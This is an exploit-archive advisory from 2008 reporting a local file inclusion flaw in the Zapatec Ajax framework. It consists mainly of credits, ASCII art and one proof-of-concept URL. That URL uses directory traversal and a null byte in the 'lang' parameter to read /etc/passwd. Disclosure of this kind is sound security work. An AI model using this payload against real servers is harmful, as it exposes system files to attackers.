Ajax framework (lang) Local File Inclusion Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ajax framework (lang) Local File Inclusion Vulnerability
# Published : 2008-05-18
# Author : dun
# Previous Title : TAGWORX.CMS Multiple Remote SQL Injection Vulnerabilities
# Next Title : LulieBlog 1.2 Multiple Remote Vulnerabilities

:::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun  dun[at]strcpy.eu ]


###############################################################################
 #  [  Ajax framework by www.zapatec.com ]   Local File Include Vulnerability  #

###############################################################################
 #
 # Script site: http://www.zapatec.com/
 # 
 # Vuln: 
 # http://site.com/?lang=../../../../../../../../../../../../../../etc/passwd%00
 #      
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# www.Syue.com [2008-05-18]